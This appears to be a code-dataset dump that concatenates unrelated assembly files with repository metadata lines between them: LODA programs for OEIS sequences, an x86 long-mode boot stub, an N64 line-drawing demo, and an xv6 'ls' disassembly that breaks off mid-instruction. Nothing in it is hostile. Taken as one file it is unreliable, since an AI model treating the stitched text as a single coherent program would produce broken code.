2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/243/A243470.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/243/A243470.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A243470: Numerators of the rational convergents to the periodic continued fraction 1/(2 + 1/(7 + 1/(2 + 1/(7 + ...)))). ; Submitted by Christian Krause ; 1,7,15,112,239,1785,3809,28448,60705,453383,967471,7225680,15418831,115157497,245733825,1835294272,3916322369,29249550855,62415424079,466157519408,994730462895,7429270759673,15853271982241,118402174635360,252657621252961,1887005523406087 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,2 dif $2,7 mul $2,14 lpe dif $1,2 mov $0,$1
29.111111
239
0.725191
e042563251aa19540fda5b05a865e153c351d9f5
540
asm
Assembly
programs/oeis/081/A081215.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/081/A081215.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/081/A081215.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A081215: a(n) = (n^(n+1)+(-1)^n)/(n+1)^2. ; 1,0,1,5,41,434,5713,90075,1657009,34867844,826446281,21794641505,633095889817,20088655029078,691413758034721,25657845139503479,1021273028302258913,43404581642184336392,1961870762757168078553,93974933643864895483389,4755446712018140589569161,253500676417573621795462010,14199269001914612973017444081,833768687493927043038482216915,51215453831050910378844728557201,3284683504808155445040330378966924,219559820418910960330196888200830313 mov $1,$0 add $1,1 pow $0,$1 add $0,1 div $0,$1 div $0,$1
54
436
0.842593
47d05152ce2a2114b24f352219dade41aaab6d8c
1,783
asm
Assembly
b.asm
li7r/os
3e0197c850866fd33baf20427e784dea8443f987
[ "MIT" ]
5
2020-10-04T13:43:39.000Z
2021-04-09T00:18:16.000Z
b.asm
li7r/os
3e0197c850866fd33baf20427e784dea8443f987
[ "MIT" ]
null
null
null
b.asm
li7r/os
3e0197c850866fd33baf20427e784dea8443f987
[ "MIT" ]
null
null
null
extern kmain global start global mode13h section .boot bits 32 start: ; Point the first entry of the level 4 page table to the first entry in the ; p3 table mov eax, p3_table or eax, 0b11 ; mov dword [p4_table + 0], eax ; Point the first entry of the level 3 page table to the first entry in the ; p2 table mov eax, p2_table or eax, 0b11 mov dword [p3_table + 0], eax ; point each page table level two entry to a page mov ecx, 0 ; counter variable .map_p2_table: mov eax, 0x200000 ; 2MiB mul ecx or eax, 0b10000011 mov [p2_table + ecx * 8], eax inc ecx cmp ecx, 512 jne .map_p2_table ; move page table address to cr3 mov eax, p4_table mov cr3, eax ; enable PAE mov eax, cr4 or eax, 1 << 5 mov cr4, eax ; set the long mode bit mov ecx, 0xC0000080 rdmsr or eax, 1 << 8 wrmsr ; enable paging mov eax, cr0 or eax, (1 << 31 | 1 << 16) mov cr0, eax lgdt [gdt64.pointer] ; update selectors mov ax, gdt64.data mov ss, ax mov ds, ax mov es, ax ; long jump to kmain setting `cs` register to `gdt64.code` jmp gdt64.code:long_mode_start hlt section .text bits 64 ;_mode13h: ; mov ah, 0 ; mov al, 13h ; int 10h ;ret ;_textmode: ; mov ah, 00 ; mov al, 3h ; int 10h ;ret %include "idt.asm" long_mode_start: jmp kmain hlt section .bss align 4096 p4_table: resb 4096 p3_table: resb 4096 p2_table: resb 4096 section .rodata gdt64: dq 0 ; zero entry .code: equ $ - gdt64 dq (1<<44) | (1<<47) | (1<<41) | (1<<43) | (1<<53) ; code segment .data: equ $ - gdt64 dq (1<<44) | (1<<47) | (1<<41) ; data segment .pointer: dw $ - gdt64 - 1 dq gdt64
18.193878
79
0.59226
9d842a47bf51b85fbc79c3a67ab93efcfcfb3b69
569
asm
Assembly
programs/oeis/315/A315273.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/315/A315273.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/315/A315273.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A315273: Coordination sequence Gal.4.73.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,10,15,21,26,30,36,42,46,51,57,62,66,72,78,82,87,93,98,102,108,114,118,123,129,134,138,144,150,154,159,165,170,174,180,186,190,195,201,206,210,216,222,226,231,237,242,246,252 mov $4,$0 mul $0,2 mov $2,2 lpb $0,1 trn $0,$2 add $1,1 mov $3,$1 sub $3,$0 trn $0,3 mov $1,1 trn $3,2 add $1,$3 add $1,$0 sub $0,1 mov $2,3 lpe lpb $4,1 add $1,4 sub $4,1 lpe add $1,1
22.76
179
0.646749
20b6791c32c2d8b233f7b75572d3e7668d60c028
846
asm
Assembly
Video007/Video007.asm
sonicspiral/N64_ASM_Videos
591bbaf337d43162529f255fea2306d9ee33630c
[ "BSD-2-Clause" ]
23
2019-02-04T17:23:55.000Z
2022-02-28T16:13:17.000Z
Video007/Video007.asm
sonicspiral/N64_ASM_Videos
591bbaf337d43162529f255fea2306d9ee33630c
[ "BSD-2-Clause" ]
2
2019-12-09T04:20:31.000Z
2019-12-14T18:22:58.000Z
Video007/Video007.asm
sonicspiral/N64_ASM_Videos
591bbaf337d43162529f255fea2306d9ee33630c
[ "BSD-2-Clause" ]
2
2019-12-08T20:28:40.000Z
2022-02-04T23:41:51.000Z
// N64 Lesson 02 Simple Initialize arch n64.cpu endian msb output "Video007.N64", create // 1024 KB + 4 KB = 1028 KB fill $0010'1000 // Set ROM Size origin $00000000 base $80000000 include "../LIB/N64.INC" include "../LIB/A64.INC" include "../LIB/COLORS16.INC" include "N64_Header.asm" insert "../LIB/N64_BOOTCODE.BIN" Start: // NOTE: base $80001000 init() ScreenNTSC(320,200, BPP16, $A010'0000) nop nop nop // Draw a Line (Horizontal) // 20 rows from the top // 100 Columns (110 + 100 + 110 = 320) // 200 Pixels tall // lui t0, LIGHT_BLUE16 // ori t0, LIGHT_BLUE16 la t1, $A010'0000 // 320 Pixels Wide addi t1, t1, ((320 * 20) + 100) * 2 addi t2, r0, 200 do_Store2Pixels: sw t0, 0x0(t1) addi t2, t2, -1 bne t2, r0, do_Store2Pixels addi t1, t1, 320 * 2 Loop: // while(true); j Loop nop
17.265306
47
0.634752
5ac1e6b515320d4a486e15ef959de6f25dddde85
50,978
asm
Assembly
ls.asm
youngPieros/OS_Lab4
5ca3039658d4b725de6f759f1dbda12552ec6be4
[ "MIT-0" ]
null
null
null
ls.asm
youngPieros/OS_Lab4
5ca3039658d4b725de6f759f1dbda12552ec6be4
[ "MIT-0" ]
null
null
null
ls.asm
youngPieros/OS_Lab4
5ca3039658d4b725de6f759f1dbda12552ec6be4
[ "MIT-0" ]
null
null
null
_ls: file format elf32-i386 Disassembly of section .text: 00000000 <main>: close(fd); } int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 56 push %esi e: 53 push %ebx f: 51 push %ecx 10: 83 ec 0c sub $0xc,%esp 13: 8b 01 mov (%ecx),%eax 15: 8b 51 04 mov 0x4(%ecx),%edx int i; if(argc < 2){ 18: 83 f8 01 cmp $0x1,%eax 1b: 7e 24 jle 41 <main+0x41> 1d: 8d 5a 04 lea 0x4(%edx),%ebx 20: 8d 34 82 lea (%edx,%eax,4),%esi 23: 90 nop 24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ls("."); exit(); } for(i=1; i<argc; i++) ls(argv[i]); 28: 83 ec 0c sub $0xc,%esp 2b: ff 33 pushl (%ebx) 2d: 83 c3 04 add $0x4,%ebx 30: e8 cb 00 00 00 call 100 <ls> for(i=1; i<argc; i++) 35: 83 c4 10 add $0x10,%esp 38: 39 f3 cmp %esi,%ebx 3a: 75 ec jne 28 <main+0x28> exit(); 3c: e8 41 05 00 00 call 582 <exit> ls("."); 41: 83 ec 0c sub $0xc,%esp 44: 68 80 0a 00 00 push $0xa80 49: e8 b2 00 00 00 call 100 <ls> exit(); 4e: e8 2f 05 00 00 call 582 <exit> 53: 66 90 xchg %ax,%ax 55: 66 90 xchg %ax,%ax 57: 66 90 xchg %ax,%ax 59: 66 90 xchg %ax,%ax 5b: 66 90 xchg %ax,%ax 5d: 66 90 xchg %ax,%ax 5f: 90 nop 00000060 <fmtname>: { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 56 push %esi 64: 53 push %ebx 65: 8b 5d 08 mov 0x8(%ebp),%ebx for(p=path+strlen(path); p >= path && *p != '/'; p--) 68: 83 ec 0c sub $0xc,%esp 6b: 53 push %ebx 6c: e8 3f 03 00 00 call 3b0 <strlen> 71: 83 c4 10 add $0x10,%esp 74: 01 d8 add %ebx,%eax 76: 73 0f jae 87 <fmtname+0x27> 78: eb 12 jmp 8c <fmtname+0x2c> 7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80: 83 e8 01 sub $0x1,%eax 83: 39 c3 cmp %eax,%ebx 85: 77 05 ja 8c <fmtname+0x2c> 87: 80 38 2f cmpb $0x2f,(%eax) 8a: 75 f4 jne 80 <fmtname+0x20> p++; 8c: 8d 58 01 lea 0x1(%eax),%ebx if(strlen(p) >= DIRSIZ) 8f: 83 ec 0c sub $0xc,%esp 92: 53 push %ebx 93: e8 18 03 00 00 call 3b0 <strlen> 98: 83 c4 10 add $0x10,%esp 9b: 83 f8 0d cmp $0xd,%eax 9e: 77 4a ja ea <fmtname+0x8a> memmove(buf, p, strlen(p)); a0: 83 ec 0c sub $0xc,%esp a3: 53 push %ebx a4: e8 07 03 00 00 call 3b0 <strlen> a9: 83 c4 0c add $0xc,%esp ac: 50 push %eax ad: 53 push %ebx ae: 68 ac 0d 00 00 push $0xdac b3: e8 98 04 00 00 call 550 <memmove> memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); b8: 89 1c 24 mov %ebx,(%esp) bb: e8 f0 02 00 00 call 3b0 <strlen> c0: 89 1c 24 mov %ebx,(%esp) c3: 89 c6 mov %eax,%esi return buf; c5: bb ac 0d 00 00 mov $0xdac,%ebx memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); ca: e8 e1 02 00 00 call 3b0 <strlen> cf: ba 0e 00 00 00 mov $0xe,%edx d4: 83 c4 0c add $0xc,%esp d7: 05 ac 0d 00 00 add $0xdac,%eax dc: 29 f2 sub %esi,%edx de: 52 push %edx df: 6a 20 push $0x20 e1: 50 push %eax e2: e8 f9 02 00 00 call 3e0 <memset> return buf; e7: 83 c4 10 add $0x10,%esp } ea: 8d 65 f8 lea -0x8(%ebp),%esp ed: 89 d8 mov %ebx,%eax ef: 5b pop %ebx f0: 5e pop %esi f1: 5d pop %ebp f2: c3 ret f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000100 <ls>: { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 57 push %edi 104: 56 push %esi 105: 53 push %ebx 106: 81 ec 64 02 00 00 sub $0x264,%esp 10c: 8b 7d 08 mov 0x8(%ebp),%edi if((fd = open(path, 0)) < 0){ 10f: 6a 00 push $0x0 111: 57 push %edi 112: e8 ab 04 00 00 call 5c2 <open> 117: 83 c4 10 add $0x10,%esp 11a: 85 c0 test %eax,%eax 11c: 78 52 js 170 <ls+0x70> if(fstat(fd, &st) < 0){ 11e: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi 124: 83 ec 08 sub $0x8,%esp 127: 89 c3 mov %eax,%ebx 129: 56 push %esi 12a: 50 push %eax 12b: e8 aa 04 00 00 call 5da <fstat> 130: 83 c4 10 add $0x10,%esp 133: 85 c0 test %eax,%eax 135: 0f 88 c5 00 00 00 js 200 <ls+0x100> switch(st.type){ 13b: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax 142: 66 83 f8 01 cmp $0x1,%ax 146: 0f 84 84 00 00 00 je 1d0 <ls+0xd0> 14c: 66 83 f8 02 cmp $0x2,%ax 150: 74 3e je 190 <ls+0x90> close(fd); 152: 83 ec 0c sub $0xc,%esp 155: 53 push %ebx 156: e8 4f 04 00 00 call 5aa <close> 15b: 83 c4 10 add $0x10,%esp } 15e: 8d 65 f4 lea -0xc(%ebp),%esp 161: 5b pop %ebx 162: 5e pop %esi 163: 5f pop %edi 164: 5d pop %ebp 165: c3 ret 166: 8d 76 00 lea 0x0(%esi),%esi 169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi printf(2, "ls: cannot open %s\n", path); 170: 83 ec 04 sub $0x4,%esp 173: 57 push %edi 174: 68 38 0a 00 00 push $0xa38 179: 6a 02 push $0x2 17b: e8 60 05 00 00 call 6e0 <printf> return; 180: 83 c4 10 add $0x10,%esp } 183: 8d 65 f4 lea -0xc(%ebp),%esp 186: 5b pop %ebx 187: 5e pop %esi 188: 5f pop %edi 189: 5d pop %ebp 18a: c3 ret 18b: 90 nop 18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); 190: 83 ec 0c sub $0xc,%esp 193: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx 199: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi 19f: 57 push %edi 1a0: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp) 1a6: e8 b5 fe ff ff call 60 <fmtname> 1ab: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx 1b1: 59 pop %ecx 1b2: 5f pop %edi 1b3: 52 push %edx 1b4: 56 push %esi 1b5: 6a 02 push $0x2 1b7: 50 push %eax 1b8: 68 60 0a 00 00 push $0xa60 1bd: 6a 01 push $0x1 1bf: e8 1c 05 00 00 call 6e0 <printf> break; 1c4: 83 c4 20 add $0x20,%esp 1c7: eb 89 jmp 152 <ls+0x52> 1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ 1d0: 83 ec 0c sub $0xc,%esp 1d3: 57 push %edi 1d4: e8 d7 01 00 00 call 3b0 <strlen> 1d9: 83 c0 10 add $0x10,%eax 1dc: 83 c4 10 add $0x10,%esp 1df: 3d 00 02 00 00 cmp $0x200,%eax 1e4: 76 42 jbe 228 <ls+0x128> printf(1, "ls: path too long\n"); 1e6: 83 ec 08 sub $0x8,%esp 1e9: 68 6d 0a 00 00 push $0xa6d 1ee: 6a 01 push $0x1 1f0: e8 eb 04 00 00 call 6e0 <printf> break; 1f5: 83 c4 10 add $0x10,%esp 1f8: e9 55 ff ff ff jmp 152 <ls+0x52> 1fd: 8d 76 00 lea 0x0(%esi),%esi printf(2, "ls: cannot stat %s\n", path); 200: 83 ec 04 sub $0x4,%esp 203: 57 push %edi 204: 68 4c 0a 00 00 push $0xa4c 209: 6a 02 push $0x2 20b: e8 d0 04 00 00 call 6e0 <printf> close(fd); 210: 89 1c 24 mov %ebx,(%esp) 213: e8 92 03 00 00 call 5aa <close> return; 218: 83 c4 10 add $0x10,%esp } 21b: 8d 65 f4 lea -0xc(%ebp),%esp 21e: 5b pop %ebx 21f: 5e pop %esi 220: 5f pop %edi 221: 5d pop %ebp 222: c3 ret 223: 90 nop 224: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi strcpy(buf, path); 228: 83 ec 08 sub $0x8,%esp 22b: 57 push %edi 22c: 8d bd e8 fd ff ff lea -0x218(%ebp),%edi 232: 57 push %edi 233: e8 f8 00 00 00 call 330 <strcpy> p = buf+strlen(buf); 238: 89 3c 24 mov %edi,(%esp) 23b: e8 70 01 00 00 call 3b0 <strlen> 240: 01 f8 add %edi,%eax while(read(fd, &de, sizeof(de)) == sizeof(de)){ 242: 83 c4 10 add $0x10,%esp *p++ = '/'; 245: 8d 48 01 lea 0x1(%eax),%ecx p = buf+strlen(buf); 248: 89 85 a8 fd ff ff mov %eax,-0x258(%ebp) *p++ = '/'; 24e: c6 00 2f movb $0x2f,(%eax) 251: 89 8d a4 fd ff ff mov %ecx,-0x25c(%ebp) 257: 89 f6 mov %esi,%esi 259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi while(read(fd, &de, sizeof(de)) == sizeof(de)){ 260: 8d 85 c4 fd ff ff lea -0x23c(%ebp),%eax 266: 83 ec 04 sub $0x4,%esp 269: 6a 10 push $0x10 26b: 50 push %eax 26c: 53 push %ebx 26d: e8 28 03 00 00 call 59a <read> 272: 83 c4 10 add $0x10,%esp 275: 83 f8 10 cmp $0x10,%eax 278: 0f 85 d4 fe ff ff jne 152 <ls+0x52> if(de.inum == 0) 27e: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp) 285: 00 286: 74 d8 je 260 <ls+0x160> memmove(p, de.name, DIRSIZ); 288: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax 28e: 83 ec 04 sub $0x4,%esp 291: 6a 0e push $0xe 293: 50 push %eax 294: ff b5 a4 fd ff ff pushl -0x25c(%ebp) 29a: e8 b1 02 00 00 call 550 <memmove> p[DIRSIZ] = 0; 29f: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax 2a5: c6 40 0f 00 movb $0x0,0xf(%eax) if(stat(buf, &st) < 0){ 2a9: 58 pop %eax 2aa: 5a pop %edx 2ab: 56 push %esi 2ac: 57 push %edi 2ad: e8 0e 02 00 00 call 4c0 <stat> 2b2: 83 c4 10 add $0x10,%esp 2b5: 85 c0 test %eax,%eax 2b7: 78 5f js 318 <ls+0x218> printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); 2b9: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax 2c0: 83 ec 0c sub $0xc,%esp 2c3: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx 2c9: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx 2cf: 57 push %edi 2d0: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp) 2d6: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp) 2dc: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp) 2e2: e8 79 fd ff ff call 60 <fmtname> 2e7: 5a pop %edx 2e8: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx 2ee: 59 pop %ecx 2ef: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx 2f5: 51 push %ecx 2f6: 52 push %edx 2f7: ff b5 b4 fd ff ff pushl -0x24c(%ebp) 2fd: 50 push %eax 2fe: 68 60 0a 00 00 push $0xa60 303: 6a 01 push $0x1 305: e8 d6 03 00 00 call 6e0 <printf> 30a: 83 c4 20 add $0x20,%esp 30d: e9 4e ff ff ff jmp 260 <ls+0x160> 312: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printf(1, "ls: cannot stat %s\n", buf); 318: 83 ec 04 sub $0x4,%esp 31b: 57 push %edi 31c: 68 4c 0a 00 00 push $0xa4c 321: 6a 01 push $0x1 323: e8 b8 03 00 00 call 6e0 <printf> continue; 328: 83 c4 10 add $0x10,%esp 32b: e9 30 ff ff ff jmp 260 <ls+0x160> 00000330 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 330: 55 push %ebp 331: 89 e5 mov %esp,%ebp 333: 53 push %ebx 334: 8b 45 08 mov 0x8(%ebp),%eax 337: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 33a: 89 c2 mov %eax,%edx 33c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 340: 83 c1 01 add $0x1,%ecx 343: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 347: 83 c2 01 add $0x1,%edx 34a: 84 db test %bl,%bl 34c: 88 5a ff mov %bl,-0x1(%edx) 34f: 75 ef jne 340 <strcpy+0x10> ; return os; } 351: 5b pop %ebx 352: 5d pop %ebp 353: c3 ret 354: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 35a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000360 <strcmp>: int strcmp(const char *p, const char *q) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 53 push %ebx 364: 8b 55 08 mov 0x8(%ebp),%edx 367: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 36a: 0f b6 02 movzbl (%edx),%eax 36d: 0f b6 19 movzbl (%ecx),%ebx 370: 84 c0 test %al,%al 372: 75 1c jne 390 <strcmp+0x30> 374: eb 2a jmp 3a0 <strcmp+0x40> 376: 8d 76 00 lea 0x0(%esi),%esi 379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 380: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 383: 0f b6 02 movzbl (%edx),%eax p++, q++; 386: 83 c1 01 add $0x1,%ecx 389: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 38c: 84 c0 test %al,%al 38e: 74 10 je 3a0 <strcmp+0x40> 390: 38 d8 cmp %bl,%al 392: 74 ec je 380 <strcmp+0x20> return (uchar)*p - (uchar)*q; 394: 29 d8 sub %ebx,%eax } 396: 5b pop %ebx 397: 5d pop %ebp 398: c3 ret 399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3a0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 3a2: 29 d8 sub %ebx,%eax } 3a4: 5b pop %ebx 3a5: 5d pop %ebp 3a6: c3 ret 3a7: 89 f6 mov %esi,%esi 3a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000003b0 <strlen>: uint strlen(const char *s) { 3b0: 55 push %ebp 3b1: 89 e5 mov %esp,%ebp 3b3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 3b6: 80 39 00 cmpb $0x0,(%ecx) 3b9: 74 15 je 3d0 <strlen+0x20> 3bb: 31 d2 xor %edx,%edx 3bd: 8d 76 00 lea 0x0(%esi),%esi 3c0: 83 c2 01 add $0x1,%edx 3c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 3c7: 89 d0 mov %edx,%eax 3c9: 75 f5 jne 3c0 <strlen+0x10> ; return n; } 3cb: 5d pop %ebp 3cc: c3 ret 3cd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 3d0: 31 c0 xor %eax,%eax } 3d2: 5d pop %ebp 3d3: c3 ret 3d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 3da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000003e0 <memset>: void* memset(void *dst, int c, uint n) { 3e0: 55 push %ebp 3e1: 89 e5 mov %esp,%ebp 3e3: 57 push %edi 3e4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 3e7: 8b 4d 10 mov 0x10(%ebp),%ecx 3ea: 8b 45 0c mov 0xc(%ebp),%eax 3ed: 89 d7 mov %edx,%edi 3ef: fc cld 3f0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 3f2: 89 d0 mov %edx,%eax 3f4: 5f pop %edi 3f5: 5d pop %ebp 3f6: c3 ret 3f7: 89 f6 mov %esi,%esi 3f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000400 <strchr>: char* strchr(const char *s, char c) { 400: 55 push %ebp 401: 89 e5 mov %esp,%ebp 403: 53 push %ebx 404: 8b 45 08 mov 0x8(%ebp),%eax 407: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 40a: 0f b6 10 movzbl (%eax),%edx 40d: 84 d2 test %dl,%dl 40f: 74 1d je 42e <strchr+0x2e> if(*s == c) 411: 38 d3 cmp %dl,%bl 413: 89 d9 mov %ebx,%ecx 415: 75 0d jne 424 <strchr+0x24> 417: eb 17 jmp 430 <strchr+0x30> 419: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 420: 38 ca cmp %cl,%dl 422: 74 0c je 430 <strchr+0x30> for(; *s; s++) 424: 83 c0 01 add $0x1,%eax 427: 0f b6 10 movzbl (%eax),%edx 42a: 84 d2 test %dl,%dl 42c: 75 f2 jne 420 <strchr+0x20> return (char*)s; return 0; 42e: 31 c0 xor %eax,%eax } 430: 5b pop %ebx 431: 5d pop %ebp 432: c3 ret 433: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000440 <gets>: char* gets(char *buf, int max) { 440: 55 push %ebp 441: 89 e5 mov %esp,%ebp 443: 57 push %edi 444: 56 push %esi 445: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 446: 31 f6 xor %esi,%esi 448: 89 f3 mov %esi,%ebx { 44a: 83 ec 1c sub $0x1c,%esp 44d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 450: eb 2f jmp 481 <gets+0x41> 452: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 458: 8d 45 e7 lea -0x19(%ebp),%eax 45b: 83 ec 04 sub $0x4,%esp 45e: 6a 01 push $0x1 460: 50 push %eax 461: 6a 00 push $0x0 463: e8 32 01 00 00 call 59a <read> if(cc < 1) 468: 83 c4 10 add $0x10,%esp 46b: 85 c0 test %eax,%eax 46d: 7e 1c jle 48b <gets+0x4b> break; buf[i++] = c; 46f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 473: 83 c7 01 add $0x1,%edi 476: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 479: 3c 0a cmp $0xa,%al 47b: 74 23 je 4a0 <gets+0x60> 47d: 3c 0d cmp $0xd,%al 47f: 74 1f je 4a0 <gets+0x60> for(i=0; i+1 < max; ){ 481: 83 c3 01 add $0x1,%ebx 484: 3b 5d 0c cmp 0xc(%ebp),%ebx 487: 89 fe mov %edi,%esi 489: 7c cd jl 458 <gets+0x18> 48b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 48d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 490: c6 03 00 movb $0x0,(%ebx) } 493: 8d 65 f4 lea -0xc(%ebp),%esp 496: 5b pop %ebx 497: 5e pop %esi 498: 5f pop %edi 499: 5d pop %ebp 49a: c3 ret 49b: 90 nop 49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 4a0: 8b 75 08 mov 0x8(%ebp),%esi 4a3: 8b 45 08 mov 0x8(%ebp),%eax 4a6: 01 de add %ebx,%esi 4a8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 4aa: c6 03 00 movb $0x0,(%ebx) } 4ad: 8d 65 f4 lea -0xc(%ebp),%esp 4b0: 5b pop %ebx 4b1: 5e pop %esi 4b2: 5f pop %edi 4b3: 5d pop %ebp 4b4: c3 ret 4b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 4b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000004c0 <stat>: int stat(const char *n, struct stat *st) { 4c0: 55 push %ebp 4c1: 89 e5 mov %esp,%ebp 4c3: 56 push %esi 4c4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 4c5: 83 ec 08 sub $0x8,%esp 4c8: 6a 00 push $0x0 4ca: ff 75 08 pushl 0x8(%ebp) 4cd: e8 f0 00 00 00 call 5c2 <open> if(fd < 0) 4d2: 83 c4 10 add $0x10,%esp 4d5: 85 c0 test %eax,%eax 4d7: 78 27 js 500 <stat+0x40> return -1; r = fstat(fd, st); 4d9: 83 ec 08 sub $0x8,%esp 4dc: ff 75 0c pushl 0xc(%ebp) 4df: 89 c3 mov %eax,%ebx 4e1: 50 push %eax 4e2: e8 f3 00 00 00 call 5da <fstat> close(fd); 4e7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 4ea: 89 c6 mov %eax,%esi close(fd); 4ec: e8 b9 00 00 00 call 5aa <close> return r; 4f1: 83 c4 10 add $0x10,%esp } 4f4: 8d 65 f8 lea -0x8(%ebp),%esp 4f7: 89 f0 mov %esi,%eax 4f9: 5b pop %ebx 4fa: 5e pop %esi 4fb: 5d pop %ebp 4fc: c3 ret 4fd: 8d 76 00 lea 0x0(%esi),%esi return -1; 500: be ff ff ff ff mov $0xffffffff,%esi 505: eb ed jmp 4f4 <stat+0x34> 507: 89 f6 mov %esi,%esi 509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000510 <atoi>: int atoi(const char *s) { 510: 55 push %ebp 511: 89 e5 mov %esp,%ebp 513: 53 push %ebx 514: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 517: 0f be 11 movsbl (%ecx),%edx 51a: 8d 42 d0 lea -0x30(%edx),%eax 51d: 3c 09 cmp $0x9,%al n = 0; 51f: b8 00 00 00 00 